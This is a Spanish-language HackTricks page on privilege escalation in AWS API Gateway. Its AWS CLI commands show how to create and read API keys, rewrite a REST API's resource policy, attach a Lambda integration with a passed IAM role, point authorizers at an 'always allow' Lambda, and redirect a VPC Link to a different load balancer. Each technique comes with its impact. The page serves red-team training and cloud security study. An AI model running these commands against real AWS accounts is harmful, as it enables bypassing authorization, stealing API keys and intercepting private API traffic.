AWS - Apigateway Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Apigateway

Para más información, consulta:

AWS - API Gateway Enum

apigateway:POST

Con este permiso puedes generar API keys de las APIs configuradas (por región).

aws --region <region> apigateway create-api-key

Impacto potencial: No puedes realizar privesc con esta técnica, pero podrías obtener acceso a información sensible.

apigateway:GET

Con este permiso puedes obtener las API keys generadas de las APIs configuradas (por región).

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Impacto potencial: No puedes privesc con esta técnica pero podrías obtener acceso a información sensible.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Con estos permisos es posible modificar la política de recursos de una API para darte acceso a invocarla y abusar del acceso potencial que pueda tener el API gateway (por ejemplo, invocar una lambda vulnerable).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Impacto potencial: Tú, normalmente, no podrás escalar privilegios directamente con esta técnica, pero podrías obtener acceso a información sensible.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Note

Necesita pruebas

Un atacante con los permisos apigateway:PutIntegration, apigateway:CreateDeployment y iam:PassRole puede añadir una nueva integración a una API REST existente de API Gateway con una función Lambda que tenga un rol de IAM adjunto. El atacante puede entonces invocar la función Lambda para ejecutar código arbitrario y potencialmente obtener acceso a los recursos asociados con el rol de IAM.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto potencial: Acceso a recursos asociados con el rol IAM de la función Lambda.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Note

Necesita pruebas

Un atacante con los permisos apigateway:UpdateAuthorizer y apigateway:CreateDeployment puede modificar un API Gateway authorizer existente para eludir controles de seguridad (por ejemplo, redirigirlo a una Lambda que siempre devuelve “allow”) o ejecutar código arbitrario cuando se realizan solicitudes a la API.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Evasión de controles de seguridad, acceso no autorizado a recursos de API.

HTTP APIs / apigatewayv2 variante

Para las APIs HTTP (API Gateway v2), la operación equivalente es actualizar el authorizer a través de apigatewayv2:

REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"

Note

Requiere pruebas

Un atacante con el permiso apigateway:UpdateVpcLink puede modificar un VPC Link existente para apuntar a un Network Load Balancer diferente, redirigiendo potencialmente el tráfico privado de API a recursos no autorizados o maliciosos.

VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Impacto potencial: Acceso no autorizado a recursos privados de la API, interceptación o interrupción del tráfico de la API.

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks